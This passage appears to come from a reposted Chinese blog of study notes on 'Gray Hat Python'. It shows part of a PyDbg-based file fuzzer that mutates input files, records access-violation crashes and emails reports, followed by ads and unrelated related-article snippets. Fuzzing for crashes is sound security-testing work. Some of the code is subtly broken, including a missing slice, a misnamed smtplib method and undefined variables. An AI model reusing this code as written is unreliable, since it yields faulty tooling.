			return DBG_CONTINUE
		print "[*] Woot! Handling an access violation!"
		self.in_accessv_handler = True
		crash_bin = utils.crash_binning.crash_binning()
		crash_bin.record_crash(dbg)
		self.crash = crash_bin.crash_synopsis()
		# 记录崩溃的信息
		crash_fd = open("crashes\crash-%d" % self.iteration, "w")
		crash_fd.write(self.crash)
		# 备份文件
		shutil.copy("test.%s" % self.ext, "crashes\%d.%s" % (self.iteration, self.ext))
		shutil.copy("examples\%s" % self.test_file, "crashes\%d_orig.%s" % (self.iteration, self.ext))
		self.dbg.terminate_process()
		self.in_accessv_handler = False
		self.running = False
		return DBG_EXCEPTION_NOT_HANDLED

	# 监视进程,确保在一段事件以后杀死被调试的进程
	def monitor_debugger(self):
		counter = 0;
		print "[*] Monitor thread for pid: %d waiting." % self.pid,
		while counter < 3:
			time.sleep(1)
			print counter,
			counter += 1
		# 不在处理访问违规就结束那个被调试的进程
		if self.in_accessv_handler != True:
			time.sleep(1)
			self.dbg.terminate_process()
			self.pid = None
			self.running = False
		else:
			print "[*] The access violation handler is doing its business.Waiting."

			while self.running:
				time.sleep(1)

	def notify(self):
		crash_message = "From:%s

To:

Iteration: %d

Output:

 %s" % (self.sender, self.iteration, self.crash)
		session = smtplib.SMTP(smtpserver)
		session.sendemail(sender, recipents, crash_message)
		session.quit()
		return
    
    # 变形函数
	def mutate_file(self):
		# 打开我们的测试文件,读取里面的内容
		fd = open("test.%s" % self.ext, "rb")
		stream = fd.read()	
		fd.close()

		# 随机选取前面的测试用例来测试
		test_case = self.test_cases[random.randint(0, len(self.test_cases)-1)]
		# 看看文件数据流有多长,根据这个来随机选择位置来插入
		stream_length = len(stream)
		rand_offset = random.randint(0, stream_length-1)
		# 随机选取插入次数
		rand_len = random.randint(0, 1000)
		# 将选出来的测试用例乘以次数
		test_case = test_case * rand_len

		# 在选取的插入位置处插入我们的测试用例
		fuzz_file = stream[0:rand_offset]
		fuzz_file += str(test_case)
		fuzz_file += stream[rand_offset]

		# 最后将其输出文件
		fd = open("test.%s" % self.ext, "wb")
		fd.write(fuzz_file)
		fd.close()
		return

	def print_usage():
		print "[*]"
		print "[*] file_fuzzer.py -e <Executable Path> -x <File Extension>"
		print "[*]"
		sys.exit(0)

if __name__ == '__main__':
	print "[*] Generic File Fuzzer."
	try:
		opts,argo = getopt.getopt(sys.argv[1:], "e:x:n")
	except getopt.GetoptError:
		print_usage()
		
	exe_path = None
	ext = None
	notify = False

	for o,a in opts:
		if o == "-e":
			exe_path = a
		elif o == "-x":
			ext = a
		elif o == "-n":
			notify = True

	if exe_path is not None and ext is not None:
		fuzzer = file_fuzzer(exe_path, ext, notify)
		fuzzer.fuzz()
	else:
		print_usage()


运行结果:实验成功

Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决第118张

第九章 SULLEY

本文链接:http://blog.csdn.net/u012763794/article/details/52174275

免责声明:文章转载自《Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Samba的配置【记录】hive连接报错Required field 'client_protocol' is unset! Struct:TOpenSessionReq下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

python 字典 拼接SQL语句

def gen_sql(table_name, data):     """   :param table_name: 表名称   :param data: 字典对象 key为字段(要与数据库字段一样), value为插入值   :return: 拼接好的sql语句   """   fields = list()   values = list()   ...

从C#中传递object到lua的一个问题

本来我是想从C#中把form对象传递到Lua里面去,然后在Lua中调用form下面的各个组件,比如textbox、button等,从而实现在Lua中控制C#中form界面的布局。 但是发现如下问题: 1 //Form1.cs 2 3 class Form1 4 { 5 private System.Windows.Forms.TextBox tex...

windows系统安装erlang

1.什么是erlang erlang是一种通用的面向并发的编程语言,它由瑞典电信设备制造商爱立信所辖的CS-Lab开发,目的是创造一种可以应对大规模并发活动的编程语言和运行环境。Erlang是一个结构化,动态类型编程语言,内建并行计算支持。最初是由爱立信专门为通信应用设计的,比如控制交换机或者变换协议等,因此非常适 合于构建分布式,实时软并行计算系统。使用...

awk工具

        AWK是一个优良的文本处理工具,Linux及Unix环境中现有的功能最强大的数据处理引擎之一,以Aho、Weinberger、Kernighan三位发明者名字首字母命名为AWK,AWK是一个行级文本高效处理工具,AWK经过改进生成的新的版本有Nawk、Gawk,一般Linux默认为Gawk,Gawk是 AWK的GNU开源免费版本。    ...

python调用oracle存储过程

oracle 存储过程 python调用oracle存储过程 -- 通过cx_Oracle连接 import cx_Oracle # 连接数据库 orcl_engine = 'scott/s123@xxxx:1521/orcl' conn = cx_Oracle.connect(orcl_engine) # 创建游标 cursor = conn.curso...

Python——继承

Python的继承是多继承机制,一个子类可以同时有多个直接父类;继承可以得到父类定义的方法,子类就可以复用父类的方法。 一、继承的语法 子类:实现继承的类。 父类(基类、超类):被继承的类。 子类继承父类是在定义子类时,将多个父类放在子类之后的圆括号内,如果定义类时,未指定这个类的直接父类,则默认继承object类,所以object类是所有类的父类(直接父...